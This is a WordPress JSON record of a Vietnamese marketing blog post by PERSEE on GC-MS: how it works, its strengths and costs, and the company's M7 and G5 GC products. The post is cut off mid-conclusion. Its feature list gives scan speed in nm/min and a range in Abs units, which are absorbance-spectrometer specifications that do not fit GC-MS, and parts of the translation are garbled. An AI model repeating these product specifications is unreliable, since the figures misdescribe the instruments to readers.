{"id":3638,"date":"2025-06-12T11:50:09","date_gmt":"2025-06-12T03:50:09","guid":{"rendered":"https:\/\/www.pgeneral.com\/?p=3638"},"modified":"2025-06-13T18:24:27","modified_gmt":"2025-06-13T10:24:27","slug":"critical-evaluation-of-analytical-methods-gas-chromatography-and-mass-spectrometry","status":"publish","type":"post","link":"https:\/\/www.pgeneral.com\/vi\/news\/critical-evaluation-of-analytical-methods-gas-chromatography-and-mass-spectrometry\/","title":{"rendered":"\u0110\u00e1nh gi\u00e1 quan tr\u1ecdng c\u1ee7a c\u00e1c ph\u01b0\u01a1ng ph\u00e1p ph\u00e2n t\u00edch: Nh\u00e3n s\u1eafc h\u1ecdc kh\u00ed v\u00e0 quang ph\u1ed5 kh\u1ed1i l\u01b0\u1ee3ng"},"content":{"rendered":"<p>N\u1ebfu b\u1ea1n l\u00e0 m\u1ed9t nh\u00e0 khoa h\u1ecdc ph\u00f2ng th\u00ed nghi\u1ec7m, qu\u1ea3n l\u00fd ho\u1eb7c nh\u00e0 nghi\u00ean c\u1ee9u, b\u1ea1n lu\u00f4n t\u00ecm ki\u1ebfm \u0111\u1ed9 ch\u00ednh x\u00e1c, \u0111\u1ed9 tin c\u1eady v\u00e0 t\u1ed1c \u0111\u1ed9. Ch\u1ecdn ph\u01b0\u01a1ng ph\u00e1p ph\u00e2n t\u00edch ph\u00f9 h\u1ee3p c\u00f3 th\u1ec3 t\u1ea1o ra ho\u1eb7c ph\u00e1 v\u1ee1 k\u1ebft qu\u1ea3 c\u1ee7a b\u1ea1n. \u0110\u00f3 l\u00e0 n\u01a1i quang ph\u1ed5 kh\u1ed1i l\u01b0\u1ee3ng nhi\u1ec5m s\u1eafc kh\u00ed (GC-MS) xu\u1ea5t hi\u1ec7n. \u0110\u00e2y l\u00e0 m\u1ed9t c\u00f4ng c\u1ee5 si\u00eau ti\u1ec7n d\u1ee5ng trong ph\u00f2ng th\u00ed nghi\u1ec7m hi\u1ec7n \u0111\u1ea1i. t\u1ea1i <a href=\"https:\/\/www.pgeneral.com\/vi\/\"><u>PERSEE<\/u><\/a>Ch\u00fang t\u00f4i r\u1ea5t vui m\u1eebng \u0111\u01b0\u1ee3c l\u1eb7n v\u00e0o nh\u1eefng g\u00ec l\u00e0m cho GC-MS \u0111\u1eb7c bi\u1ec7t, \u0111i\u1ec3m m\u1ea1nh c\u1ee7a n\u00f3, th\u00e1ch th\u1ee9c c\u1ee7a n\u00f3 v\u00e0 l\u00e0m th\u1ebf n\u00e0o \u0111\u1ec3 bi\u1ebft li\u1ec7u n\u00f3 c\u00f3 ph\u00f9 h\u1ee3p v\u1edbi b\u1ea1n kh\u00f4ng. Ngo\u00e0i ra, ch\u00fang t\u00f4i s\u1ebd chia s\u1ebb c\u00e1ch c\u00e1c gi\u1ea3i ph\u00e1p GC-MS tuy\u1ec7t v\u1eddi c\u1ee7a ch\u00fang t\u00f4i c\u00f3 th\u1ec3 gi\u00fap b\u1ea1n \u0111\u1ea1t \u0111\u01b0\u1ee3c m\u1ee5c ti\u00eau c\u1ee7a m\u00ecnh.<\/p>\n<p><img fetchpriority=\"high\" decoding=\"async\" class=\"aligncenter wp-image-3639 size-large\" src=\"http:\/\/www.pgeneral.com\/wp-content\/uploads\/2025\/06\/1-close-up-view-science-concept_23-2148623738-683x1024.jpg\" alt=\"close-up-view-khoa h\u1ecdc-kh\u00e1i ni\u1ec7m_\" width=\"683\" height=\"1024\" srcset=\"https:\/\/www.pgeneral.com\/wp-content\/uploads\/2025\/06\/1-close-up-view-science-concept_23-2148623738-683x1024.jpg 683w, https:\/\/www.pgeneral.com\/wp-content\/uploads\/2025\/06\/1-close-up-view-science-concept_23-2148623738-200x300.jpg 200w, https:\/\/www.pgeneral.com\/wp-content\/uploads\/2025\/06\/1-close-up-view-science-concept_23-2148623738-8x12.jpg 8w, https:\/\/www.pgeneral.com\/wp-content\/uploads\/2025\/06\/1-close-up-view-science-concept_23-2148623738-600x900.jpg 600w, https:\/\/www.pgeneral.com\/wp-content\/uploads\/2025\/06\/1-close-up-view-science-concept_23-2148623738.jpg 740w\" sizes=\"(max-width: 683px) 100vw, 683px\" \/><\/p>\n<h2>T\u1ed5ng quan v\u1ec1 Nh\u00e2n s\u1eafc h\u1ecdc kh\u00ed v\u00e0 quang ph\u1ed5 kh\u1ed1i l\u01b0\u1ee3ng<\/h2>\n<p><a href=\"https:\/\/www.pgeneral.com\/vi\/product\/m7\/\"><u>GC-MS<\/u><\/a>\u00a0k\u1ebft h\u1ee3p hai c\u00f4ng c\u1ee5 m\u1ea1nh m\u1ebd: quang ph\u1ed5 kh\u00ed (GC) v\u00e0 quang ph\u1ed5 kh\u1ed1i l\u01b0\u1ee3ng (MS). H\u00e3y ngh\u0129 v\u1ec1 GC nh\u01b0 m\u1ed9t h\u1ed9p ph\u00e2n lo\u1ea1i. N\u00f3 chia h\u1ed7n h\u1ee3p c\u00e1c h\u1ee3p ch\u1ea5t d\u1ef1a tr\u00ean c\u00e1ch d\u1ec5 d\u00e0ng ch\u00fang bi\u1ebfn th\u00e0nh kh\u00ed v\u00e0 d\u00ednh v\u00e0o m\u1ed9t v\u1eadt li\u1ec7u \u0111\u1eb7c bi\u1ec7t trong m\u1ed9t c\u1ed9t. Sau \u0111\u00f3, MS h\u00e0nh \u0111\u1ed9ng nh\u01b0 m\u1ed9t th\u00e1m t\u1eed. N\u00f3 t\u00ecm ra m\u1ed7i h\u1ee3p ch\u1ea5t l\u00e0 g\u00ec b\u1eb1ng c\u00e1ch ki\u1ec3m tra t\u1ef7 l\u1ec7 kh\u1ed1i l\u01b0\u1ee3ng-s\u1ea1c c\u1ee7a n\u00f3. C\u00f9ng nhau, ch\u00fang l\u00e0 m\u1ed9t c\u1eb7p ho\u00e0n h\u1ea3o \u0111\u1ec3 ph\u00e2n t\u00edch nh\u1eefng th\u1ee9 d\u1ec5 bay h\u01a1i, ch\u1eb3ng h\u1ea1n nh\u01b0 nh\u1eefng th\u1ee9 trong thu\u1ed1c, m\u1eabu m\u00f4i tr\u01b0\u1eddng ho\u1eb7c ki\u1ec3m tra an to\u00e0n th\u1ef1c ph\u1ea9m.<\/p>\n<p>\u0110\u00e2y l\u00e0 c\u00e1ch n\u00f3 \u0111i: b\u1ea1n l\u1ea5y m\u1ed9t m\u1eabu v\u00e0 l\u00e0m n\u00f3ng n\u00f3 cho \u0111\u1ebfn khi n\u00f3 l\u00e0 m\u1ed9t kh\u00ed. Sau \u0111\u00f3, b\u1ea1n g\u1eedi n\u00f3 qua m\u1ed9t c\u1ed9t GC. C\u00e1c h\u1ee3p ch\u1ea5t \u0111\u01b0\u1ee3c t\u00e1ch ra d\u1ef1a tr\u00ean c\u00e1c \u0111\u1eb7c \u0111i\u1ec3m \u0111\u1ed9c \u0111\u00e1o c\u1ee7a ch\u00fang. Ti\u1ebfp theo, ch\u00fang ch\u1ea3y v\u00e0o quang ph\u1ed5 kh\u1ed1i l\u01b0\u1ee3ng. N\u00f3 l\u00e0m ch\u00fang th\u00e0nh ion v\u00e0 t\u1ea1o ra m\u1ed9t m\u00f4 h\u00ecnh \u0111\u1eb7c bi\u1ec7t - nh\u01b0 d\u1ea5u v\u00e2n tay - cho m\u1ed7i m\u1ed9t. \u0110i\u1ec1u n\u00e0y gi\u00fap b\u1ea1n x\u00e1c \u0111\u1ecbnh v\u00e0 \u0111o l\u01b0\u1eddng c\u00e1c h\u1ee3p ch\u1ea5t v\u1edbi \u0111\u1ed9 ch\u00ednh x\u00e1c tuy\u1ec7t v\u1eddi. N\u1ebfu b\u1ea1n c\u1ea7n c\u00e1c c\u00f4ng c\u1ee5 \u0111\u00e1ng tin c\u1eady, G5 GC c\u1ee7a ch\u00fang t\u00f4i \u0111\u01b0\u1ee3c x\u00e2y d\u1ef1ng \u0111\u1ec3 x\u1eed l\u00fd t\u1ea5t c\u1ea3 c\u00e1c lo\u1ea1i c\u00f4ng vi\u1ec7c t\u00e1ch d\u1ec5 d\u00e0ng.<\/p>\n<p><img decoding=\"async\" class=\"aligncenter size-full wp-image-3640\" src=\"http:\/\/www.pgeneral.com\/wp-content\/uploads\/2025\/06\/d6f2d76af7b70baed605b2219a1c013.png\" alt=\"D6F2D76AF7B70BAED605B2219A1C013\" width=\"681\" height=\"346\" srcset=\"https:\/\/www.pgeneral.com\/wp-content\/uploads\/2025\/06\/d6f2d76af7b70baed605b2219a1c013.png 681w, https:\/\/www.pgeneral.com\/wp-content\/uploads\/2025\/06\/d6f2d76af7b70baed605b2219a1c013-300x152.png 300w, https:\/\/www.pgeneral.com\/wp-content\/uploads\/2025\/06\/d6f2d76af7b70baed605b2219a1c013-18x9.png 18w, https:\/\/www.pgeneral.com\/wp-content\/uploads\/2025\/06\/d6f2d76af7b70baed605b2219a1c013-600x305.png 600w\" sizes=\"(max-width: 681px) 100vw, 681px\" \/><\/p>\n<h2>L\u1ee3i th\u1ebf v\u00e0 h\u1ea1n ch\u1ebf c\u1ee7a quang ph\u1ed5 kh\u00ed v\u00e0 quang ph\u1ed5 kh\u1ed1i l\u01b0\u1ee3ng<\/h2>\n<p>GC-MS l\u00e0 m\u1ed9t v\u1ea5n \u0111\u1ec1 l\u1edbn trong c\u00f4ng vi\u1ec7c ph\u00f2ng th\u00ed nghi\u1ec7m, nh\u01b0ng n\u00f3 kh\u00f4ng ho\u00e0n h\u1ea3o. H\u00e3y xem n\u00f3 l\u00e0m g\u00ec t\u1ed1t v\u00e0 n\u00f3 c\u00f3 th\u1ec3 g\u1eb7p b\u1ea1n \u1edf \u0111\u00e2u. B\u1eb1ng c\u00e1ch n\u00e0y, b\u1ea1n c\u00f3 th\u1ec3 quy\u1ebft \u0111\u1ecbnh xem n\u00f3 c\u00f3 ph\u00f9 h\u1ee3p v\u1edbi nhu c\u1ea7u c\u1ee7a b\u1ea1n kh\u00f4ng.<\/p>\n<h3>S\u1ee9c m\u1ea1nh c\u1ee7a c\u00e1c k\u1ef9 thu\u1eadt<\/h3>\n<h4>\u0110\u1ed9 nh\u1ea1y c\u1ea3m v\u00e0 \u0111\u1ed9 \u0111\u1eb7c bi\u1ec7t cao<\/h4>\n<p>GC-MS c\u00f3 th\u1ec3 t\u00ecm th\u1ea5y m\u1ed9t l\u01b0\u1ee3ng v\u1eadt ch\u1ea5t si\u00eau nh\u1ecf - xu\u1ed1ng \u0111\u1ebfn ph\u1ea7n tr\u00ean t\u1ef7 (ppb) ho\u1eb7c th\u1eadm ch\u00ed ph\u1ea7n tr\u00ean ngh\u00ecn t\u1ef7 (ppt). H\u00e3y t\u01b0\u1edfng t\u01b0\u1ee3ng th\u1ea5y m\u1ed9t gi\u1ecdt n\u01b0\u1edbc \u00e9p trong m\u1ed9t h\u1ed3 b\u01a1i l\u1edbn. \u0110\u00f3 l\u00e0 lo\u1ea1i s\u1eafc n\u00e9t m\u00e0 ch\u00fang ta \u0111ang n\u00f3i v\u1ec1. \u0110i\u1ec1u n\u00e0y l\u00e0m cho n\u00f3 tuy\u1ec7t v\u1eddi cho c\u00e1c nhi\u1ec7m v\u1ee5 nh\u01b0 ki\u1ec3m tra thu\u1ed1c tr\u1eeb s\u00e2u trong th\u1ef1c ph\u1ea9m ho\u1eb7c ch\u1ea5t \u00f4 nhi\u1ec5m trong n\u01b0\u1edbc. Th\u00eam v\u00e0o \u0111\u00f3, MS l\u00e0 tuy\u1ec7t v\u1eddi trong vi\u1ec7c x\u00e1c \u0111\u1ecbnh ch\u00ednh x\u00e1c c\u00e1c h\u1ee3p ch\u1ea5t. V\u00ec v\u1eady, b\u1ea1n s\u1ebd kh\u00f4ng b\u1ecb nh\u1ea7m l\u1eabn b\u1edfi nh\u1eefng th\u1ee9 t\u01b0\u01a1ng t\u1ef1 trong c\u00e1c m\u1eabu kh\u00f3 kh\u0103n.<\/p>\n<h4>S\u1ef1 linh ho\u1ea1t trong ph\u00e2n t\u00edch c\u00e1c m\u1eabu ph\u1ee9c t\u1ea1p<\/h4>\n<p>GC-MS gi\u1ed1ng nh\u01b0 m\u1ed9t c\u00f4ng c\u1ee5 \u0111a d\u1ea1ng. N\u00f3 ho\u1ea1t \u0111\u1ed9ng v\u1edbi t\u1ea5t c\u1ea3 c\u00e1c lo\u1ea1i m\u1eabu, t\u1eeb kh\u00f4ng kh\u00ed \u0111\u1ebfn m\u00e1u. Cho d\u00f9 b\u1ea1n \u0111ang ki\u1ec3m tra c\u00e1c manh m\u1ed1i hi\u1ec7n tr\u01b0\u1eddng t\u1ed9i ph\u1ea1m ho\u1eb7c nghi\u00ean c\u1ee9u d\u1ea7u, n\u00f3 c\u00f3 th\u1ec3 x\u1eed l\u00fd c\u00e1c h\u1ed7n h\u1ee3p kh\u00f3 kh\u0103n. M7 GC-MS c\u1ee7a ch\u00fang t\u00f4i l\u00e0m cho \u0111i\u1ec1u n\u00e0y th\u1eadm ch\u00ed \u0111\u01a1n gi\u1ea3n h\u01a1n v\u1edbi c\u00e1c c\u00e0i \u0111\u1eb7t b\u1ea1n c\u00f3 th\u1ec3 \u0111i\u1ec1u ch\u1ec9nh \u0111\u1ec3 ph\u00e2n t\u00edch c\u00e1c m\u1eabu kh\u00e1c nhau nhanh ch\u00f3ng v\u00e0 ch\u00ednh x\u00e1c.<\/p>\n<h3>Th\u00e1ch th\u1ee9c v\u00e0 h\u1ea1n ch\u1ebf<\/h3>\n<h4>T\u00e1c \u0111\u1ed9ng v\u1ec1 chi ph\u00ed<\/h4>\n<p>Thi\u1ebft l\u1eadp GC-MS chi ph\u00ed r\u1ea5t nhi\u1ec1u. Thi\u1ebft b\u1ecb r\u1ea5t \u0111\u1eaft. B\u1ea1n c\u0169ng c\u1ea7n ph\u1ea3i tr\u1ea3 ti\u1ec1n b\u1ea3o tr\u00ec, ch\u1eb3ng h\u1ea1n nh\u01b0 kh\u00ed tinh khi\u1ebft cao ho\u1eb7c c\u1ed9t. \u0110\u00f3 l\u00e0 m\u1ed9t chi ph\u00ed l\u1edbn ban \u0111\u1ea7u. Nh\u01b0ng k\u1ebft qu\u1ea3 l\u00e0 \u1ed5n \u0111\u1ecbnh v\u00e0 \u0111\u00e1ng tin c\u1eady, c\u00f3 th\u1ec3 l\u00e0m cho n\u00f3 \u0111\u00e1ng gi\u00e1. Ph\u00f2ng th\u00ed nghi\u1ec7m c\u1ee7a b\u1ea1n n\u00ean suy ngh\u0129 v\u1ec1 vi\u1ec7c li\u1ec7u chi ph\u00ed c\u00f3 ph\u00f9 h\u1ee3p v\u1edbi m\u1ee5c ti\u00eau v\u00e0 ng\u00e2n s\u00e1ch c\u1ee7a b\u1ea1n hay kh\u00f4ng.<\/p>\n<h4>Y\u00eau c\u1ea7u chuy\u00ean m\u00f4n k\u1ef9 thu\u1eadt<\/h4>\n<p>Ch\u1ea1y GC-MS kh\u00f4ng gi\u1ed1ng nh\u01b0 nh\u1ea5n n\u00fat. B\u1ea1n c\u1ea7n nh\u1eefng ng\u01b0\u1eddi bi\u1ebft c\u00e1ch thi\u1ebft l\u1eadp ph\u01b0\u01a1ng ph\u00e1p, \u0111i\u1ec1u ch\u1ec9nh m\u00e1y m\u00f3c v\u00e0 hi\u1ec3u d\u1eef li\u1ec7u. N\u1ebfu kh\u00f4ng t\u1eadp luy\u1ec7n, b\u1ea1n c\u00f3 th\u1ec3 kh\u00f4ng \u0111\u1ea1t \u0111\u01b0\u1ee3c k\u1ebft qu\u1ea3 t\u1ed1t nh\u1ea5t. \u0110\u00f3 l\u00e0 l\u00fd do t\u1ea1i sao ch\u00fang t\u00f4i t\u1ea1i PERSEE cung c\u1ea5p h\u1ed7 tr\u1ee3 th\u1ef1c t\u1ebf v\u00e0 \u0111\u00e0o t\u1ea1o \u0111\u1ec3 gi\u00fap \u0111\u1ed9i ng\u0169 c\u1ee7a b\u1ea1n s\u1eb5n s\u00e0ng s\u1eed d\u1ee5ng h\u1ec7 th\u1ed1ng c\u1ee7a ch\u00fang t\u00f4i.<\/p>\n<table>\n<tbody>\n<tr>\n<td>Kh\u00eda c\u1ea1nh<\/td>\n<td>L\u1ee3i \u00edch<\/td>\n<td>Nh\u01b0\u1ee3c \u0111i\u1ec3m<\/td>\n<\/tr>\n<tr>\n<td>S\u1ef1 nh\u1ea1y c\u1ea3m<\/td>\n<td>T\u00ecm c\u00e1c l\u01b0\u1ee3ng nh\u1ecf (ppb \/ ppt)<\/td>\n<td>Thi\u1ebft b\u1ecb v\u00e0 b\u1ea3o tr\u00ec \u0111\u1eaft ti\u1ec1n<\/td>\n<\/tr>\n<tr>\n<td>\u0110\u1eb7c bi\u1ec7t<\/td>\n<td>\u0110\u1ecbnh \u0111i\u1ec3m ch\u00ednh x\u00e1c c\u00e1c h\u1ee3p ch\u1ea5t<\/td>\n<td>C\u1ea7n c\u00f4ng nh\u00e2n c\u00f3 tay ngh\u1ec1<\/td>\n<\/tr>\n<tr>\n<td>S\u1ef1 linh ho\u1ea1t<\/td>\n<td>Ho\u1ea1t \u0111\u1ed9ng v\u1edbi nhi\u1ec1u lo\u1ea1i m\u1eabu<\/td>\n<td>T\u1ea1o ph\u01b0\u01a1ng ph\u00e1p kh\u00f3 kh\u0103n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h2>Y\u1ebfu t\u1ed1 c\u1ea7n xem x\u00e9t khi l\u1ef1a ch\u1ecdn ph\u01b0\u01a1ng ph\u00e1p ph\u00e2n t\u00edch<\/h2>\n<p>L\u1ef1a ch\u1ecdn GC-MS l\u00e0 l\u1ef1a ch\u1ecdn t\u1ed1t nh\u1ea5t c\u1ee7a b\u1ea1n c\u00f3 ngh\u0129a l\u00e0 suy ngh\u0129 v\u1ec1 m\u1ed9t v\u00e0i \u0111i\u1ec1u quan tr\u1ecdng. \u0110i\u1ec1u n\u00e0y \u0111\u1ea3m b\u1ea3o n\u00f3 ph\u00f9 h\u1ee3p v\u1edbi nh\u1eefng g\u00ec b\u1ea1n mu\u1ed1n l\u00e0m trong ph\u00f2ng th\u00ed nghi\u1ec7m.<\/p>\n<h3>Lo\u1ea1i m\u1eabu v\u00e0 nhu c\u1ea7u chu\u1ea9n b\u1ecb<\/h3>\n<p>B\u1ea1n \u0111ang ki\u1ec3m tra lo\u1ea1i m\u1eabu n\u00e0o - ch\u1ea5t l\u1ecfng, kh\u00ed ho\u1eb7c ch\u1ea5t r\u1eafn? GC-MS th\u00edch c\u00e1c h\u1ee3p ch\u1ea5t chuy\u1ec3n th\u00e0nh kh\u00ed d\u1ec5 d\u00e0ng. Nh\u01b0ng n\u1ebfu m\u1eabu c\u1ee7a b\u1ea1n kh\u00f4ng, b\u1ea1n c\u00f3 th\u1ec3 c\u1ea7n c\u00e1c b\u01b0\u1edbc b\u1ed5 sung, ch\u1eb3ng h\u1ea1n nh\u01b0 \u0111i\u1ec1u tr\u1ecb h\u00f3a h\u1ecdc. N\u1ebfu b\u1ea1n l\u1ed9n x\u1ed9n vi\u1ec7c chu\u1ea9n b\u1ecb, b\u1ea1n c\u00f3 th\u1ec3 t\u1eafc ngh\u1ebdn h\u1ec7 th\u1ed1ng ho\u1eb7c nh\u1eadn \u0111\u01b0\u1ee3c k\u1ebft qu\u1ea3 x\u1ea5u. C\u00e1c c\u00f4ng c\u1ee5 c\u1ee7a ch\u00fang t\u00f4i t\u1ea1i PERSEE \u0111\u01b0\u1ee3c l\u00e0m \u0111\u1ec3 chu\u1ea9n b\u1ecb m\u1eabu d\u1ec5 d\u00e0ng, ti\u1ebft ki\u1ec7m cho b\u1ea1n th\u1eddi gian v\u00e0 r\u1eafc r\u1ed1i.<\/p>\n<h3>M\u1ee5c ti\u00eau ph\u00e2n t\u00edch v\u00e0 y\u00eau c\u1ea7u \u0111\u1ed9 nh\u1ea1y c\u1ea3m<\/h3>\n<p>M\u1ee5c ti\u00eau c\u1ee7a b\u1ea1n l\u00e0 g\u00ec - t\u00ecm ra nh\u1eefng g\u00ec trong m\u1ed9t m\u1eabu ho\u1eb7c \u0111o l\u01b0\u1eddng c\u00f3 bao nhi\u00eau? GC-MS l\u00e0 m\u1ed9t si\u00eau sao cho c\u00e1c c\u00f4ng vi\u1ec7c ch\u00ednh x\u00e1c cao, nh\u01b0 ph\u00e1t hi\u1ec7n c\u00e1c ch\u1ea5t \u00f4 nhi\u1ec5m nh\u1ecf. Nh\u01b0ng n\u1ebfu nhu c\u1ea7u c\u1ee7a b\u1ea1n \u0111\u01a1n gi\u1ea3n h\u01a1n, m\u1ed9t c\u00e1i g\u00ec \u0111\u00f3 nh\u01b0 HPLC c\u00f3 th\u1ec3 ho\u1ea1t \u0111\u1ed9ng t\u1ed1t m\u00e0 kh\u00f4ng qu\u00e1 ph\u1ee9c t\u1ea1p. H\u00e3y suy ngh\u0129 v\u1ec1 m\u1ee9c \u0111\u1ed9 ch\u00ednh x\u00e1c v\u00e0 nhanh ch\u00f3ng b\u1ea1n c\u1ea7n \u0111\u1ec3 ch\u1ecdn c\u00f4ng c\u1ee5 ph\u00f9 h\u1ee3p.<\/p>\n<h3>S\u1ef1 s\u1eb5n c\u00f3 v\u00e0 b\u1ea3o tr\u00ec thi\u1ebft b\u1ecb<\/h3>\n<p>B\u1ea1n c\u1ea7n thi\u1ebft b\u1ecb m\u00e0 b\u1ea1n c\u00f3 th\u1ec3 d\u1ef1a v\u00e0o v\u00e0 m\u1ed9t k\u1ebf ho\u1ea1ch \u0111\u1ec3 gi\u1eef cho n\u00f3 ch\u1ea1y. H\u1ec7 th\u1ed1ng GC-MS c\u1ea7n ki\u1ec3m tra th\u01b0\u1eddng xuy\u00ean, c\u1ed9t m\u1edbi v\u00e0 l\u00e0m s\u1ea1ch \u0111\u1ec3 duy tr\u00ec h\u00ecnh d\u1ea1ng h\u00e0ng \u0111\u1ea7u. L\u00e0m vi\u1ec7c v\u1edbi m\u1ed9t nh\u00e0 cung c\u1ea5p \u0111\u00e1ng tin c\u1eady c\u00f3 ngh\u0129a l\u00e0 \u00edt th\u1eddi gian ng\u1eebng ho\u1ea1t \u0111\u1ed9ng v\u00e0 d\u1ec5 d\u00e0ng truy c\u1eadp v\u00e0o c\u00e1c b\u1ed9 ph\u1eadn. B\u1ea1n c\u00f3 c\u00e2u h\u1ecfi v\u1ec1 s\u1ef1 gi\u00fap \u0111\u1ee1 b\u1ea3o tr\u00ec c\u1ee7a ch\u00fang t\u00f4i? Ch\u1ec9 c\u1ea7n li\u00ean h\u1ec7 v\u1edbi ch\u00fang t\u00f4i.<\/p>\n<h2>Gi\u1edbi thi\u1ec7u ng\u1eafn g\u1ecdn v\u1ec1 PERSEE nh\u01b0 m\u1ed9t nh\u00e0 cung c\u1ea5p \u0111\u00e1ng tin c\u1eady<\/h2>\n<p>T\u1eeb n\u0103m 1991, ch\u00fang t\u00f4i t\u1ea1i PERSEE \u0111\u00e3 l\u00e0 m\u1ed9t t\u00ean \u0111\u00e1ng tin c\u1eady cho thi\u1ebft b\u1ecb ph\u00f2ng th\u00ed nghi\u1ec7m. Ch\u00fang t\u00f4i ph\u1ee5c v\u1ee5 c\u00e1c nh\u00e0 khoa h\u1ecdc tr\u00ean to\u00e0n th\u1ebf gi\u1edbi. Ch\u00fang t\u00f4i l\u00e0 t\u1ea5t c\u1ea3 v\u1ec1 nh\u1eefng \u00fd t\u01b0\u1edfng m\u1edbi v\u00e0 gi\u1eef cho kh\u00e1ch h\u00e0ng c\u1ee7a ch\u00fang t\u00f4i h\u1ea1nh ph\u00fac. H\u1ec7 th\u1ed1ng GC-MS c\u1ee7a ch\u00fang t\u00f4i \u0111\u01b0\u1ee3c x\u00e2y d\u1ef1ng \u0111\u1ec3 ph\u00f9 h\u1ee3p v\u1edbi nhu c\u1ea7u c\u1ee5 th\u1ec3 c\u1ee7a b\u1ea1n.<\/p>\n<h3>Cam k\u1ebft c\u1ee7a PERSEE \u0111\u1ed1i v\u1edbi c\u00e1c d\u1ee5ng c\u1ee5 ch\u1ea5t l\u01b0\u1ee3ng<\/h3>\n<p>Ch\u00fang t\u00f4i t\u1ef1 h\u00e0o t\u1ea1o ra c\u00e1c c\u00f4ng c\u1ee5 \u0111\u00e1p \u1ee9ng c\u00e1c ti\u00eau chu\u1ea9n nghi\u00eam ng\u1eb7t. Thi\u1ebft b\u1ecb c\u1ee7a ch\u00fang t\u00f4i \u0111\u01b0\u1ee3c h\u1ed7 tr\u1ee3 b\u1edfi c\u00e1c ch\u1ee9ng nh\u1eadn nh\u01b0 ISO9001, ISO14001, OHSAS18001 v\u00e0 CE. C\u00f4ng vi\u1ec7c c\u1ea9n th\u1eadn c\u1ee7a ch\u00fang t\u00f4i c\u00f3 ngh\u0129a l\u00e0 b\u1ea1n c\u00f3 \u0111\u01b0\u1ee3c thi\u1ebft b\u1ecb b\u1ea1n c\u00f3 th\u1ec3 d\u1ef1a v\u00e0o m\u1ed7i l\u1ea7n.<\/p>\n<h3>T\u00ednh n\u0103ng ch\u00ednh c\u1ee7a Gi\u1ea3i ph\u00e1p Nh\u00e3n s\u1eafc kh\u00ed - Ph\u1ed5 \u0111o kh\u1ed1i l\u01b0\u1ee3ng c\u1ee7a PERSEE<\/h3>\n<p>H\u1ec7 th\u1ed1ng GC-MS c\u1ee7a ch\u00fang t\u00f4i, nh\u01b0 M7 v\u00e0 <a href=\"https:\/\/www.pgeneral.com\/vi\/product\/g5gc\/\"><u>G5 GC<\/u><\/a>\u0110\u01b0\u1ee3c thi\u1ebft k\u1ebf \u0111\u1ec3 l\u00e0m cho c\u00f4ng vi\u1ec7c c\u1ee7a b\u1ea1n d\u1ec5 d\u00e0ng h\u01a1n:<\/p>\n<ul>\n<li>Qu\u00e9t nhanh: K\u1ebft th\u00fac qu\u00e9t ch\u1ec9 trong 2 gi\u00e2y, v\u1edbi t\u1ed1c \u0111\u1ed9 qu\u00e9t 30.000 nm \/ ph\u00fat.<\/li>\n<li>Ph\u1ea1m vi r\u1ed9ng: X\u1eed l\u00fd c\u00e1c m\u1eabu m\u1ea1nh m\u1ebd v\u1edbi ph\u1ea1m vi -4 \u0111\u1ebfn 4 Abs.<\/li>\n<li>T\u00f9y ch\u1ecdn t\u00f9y ch\u1ec9nh: L\u01b0u c\u00e1c ph\u01b0\u01a1ng ph\u00e1p c\u1ee7a b\u1ea1n v\u00e0 chia s\u1ebb ch\u00fang d\u1ec5 d\u00e0ng cho c\u00e1c quy tr\u00ecnh l\u00e0m vi\u1ec7c tr\u01a1n tru.<\/li>\n<\/ul>\n<p>C\u00e1c t\u00ednh n\u0103ng n\u00e0y cho ph\u00e9p c\u00e1c ph\u00f2ng th\u00ed nghi\u1ec7m nhanh ch\u00f3ng th\u00f4ng qua c\u00e1c ph\u00e2n t\u00edch - cho d\u00f9 \u0111\u00f3 l\u00e0 cho c\u00e1c th\u1eed nghi\u1ec7m m\u00f4i tr\u01b0\u1eddng ho\u1eb7c nghi\u00ean c\u1ee9u y t\u1ebf - v\u1edbi t\u1ed1c \u0111\u1ed9 nhanh ch\u00f3ng v\u00e0 ch\u00ednh x\u00e1c.<\/p>\n<h3>D\u1ecbch v\u1ee5 h\u1ed7 tr\u1ee3 do PERSEE cung c\u1ea5p<\/h3>\n<p>Ch\u00fang t\u00f4i kh\u00f4ng ch\u1ec9 b\u00e1n thi\u1ebft b\u1ecb. Ch\u00fang t\u00f4i c\u00f3 l\u01b0ng c\u1ee7a b\u1ea1n v\u1edbi:<\/p>\n<ul>\n<li>Ch\u01b0\u01a1ng tr\u00ecnh \u0111\u00e0o t\u1ea1o: C\u01a1 s\u1edf \u0111\u00e0o t\u1ea1o Nh\u00e2n vi\u00ean Ph\u00e2n t\u00edch v\u00e0 Ki\u1ec3m tra Qu\u1ed1c gia (NTC) c\u1ee7a ch\u00fang t\u00f4i cung c\u1ea5p l\u1eddi khuy\u00ean chuy\u00ean gia \u0111\u1ec3 chu\u1ea9n b\u1ecb cho \u0111\u1ed9i ng\u0169 c\u1ee7a b\u1ea1n.<\/li>\n<li>H\u1ed7 tr\u1ee3 to\u00e0n c\u1ea7u: \u0110\u1ed9i ng\u0169 ph\u1ea3n \u1ee9ng nhanh c\u1ee7a ch\u00fang t\u00f4i gi\u1eef cho ph\u00f2ng th\u00ed nghi\u1ec7m c\u1ee7a b\u1ea1n ch\u1ea1y, b\u1ea5t k\u1ec3 b\u1ea1n \u0111ang \u1edf \u0111\u00e2u.<\/li>\n<li>Tr\u1ee3 gi\u00fap k\u1ef9 thu\u1eadt: T\u1eeb thi\u1ebft l\u1eadp ph\u01b0\u01a1ng ph\u00e1p \u0111\u1ebfn s\u1eeda ch\u1eefa v\u1ea5n \u0111\u1ec1, c\u00e1c chuy\u00ean gia c\u1ee7a ch\u00fang t\u00f4i \u1edf \u0111\u00e2y cho b\u1ea1n.<\/li>\n<\/ul>\n<h2>Ph\u1ea7n k\u1ebft lu\u1eadn<\/h2>\n<p>Ph\u1ed5 ph\u1ed5 kh\u1ed1i l\u01b0\u1ee3ng nhi\u1ec5m s\u1eafc kh\u00ed l\u00e0 m\u1ed9t c\u01a1 s\u1edf m\u1ea1nh m\u1ebd \u0111\u1ec3 ph\u00e2n t\u00edch c\u00e1c m\u1eabu kh\u00f3 kh\u0103n v\u1edbi \u0111\u1ed9 ch\u00ednh x\u00e1c v\u00e0 linh ho\u1ea1t tuy\u1ec7t v\u1eddi. C\u00f3, n\u00f3 c\u00f3 nh\u1eefng th\u00e1ch th\u1ee9c, nh\u01b0 chi ph\u00ed cao v\u00e0 c\u1ea7n ki\u1ebfn th\u1ee9c. Nh\u01b0ng \u0111i\u1ec3m m\u1ea1nh c\u1ee7a n\u00f3 l\u00e0m cho n\u00f3 tr\u1edf th\u00e0nh m\u1ed9t c\u00f4ng c\u1ee5 quan tr\u1ecdng trong c\u00e1c ph\u00f2ng th\u00ed 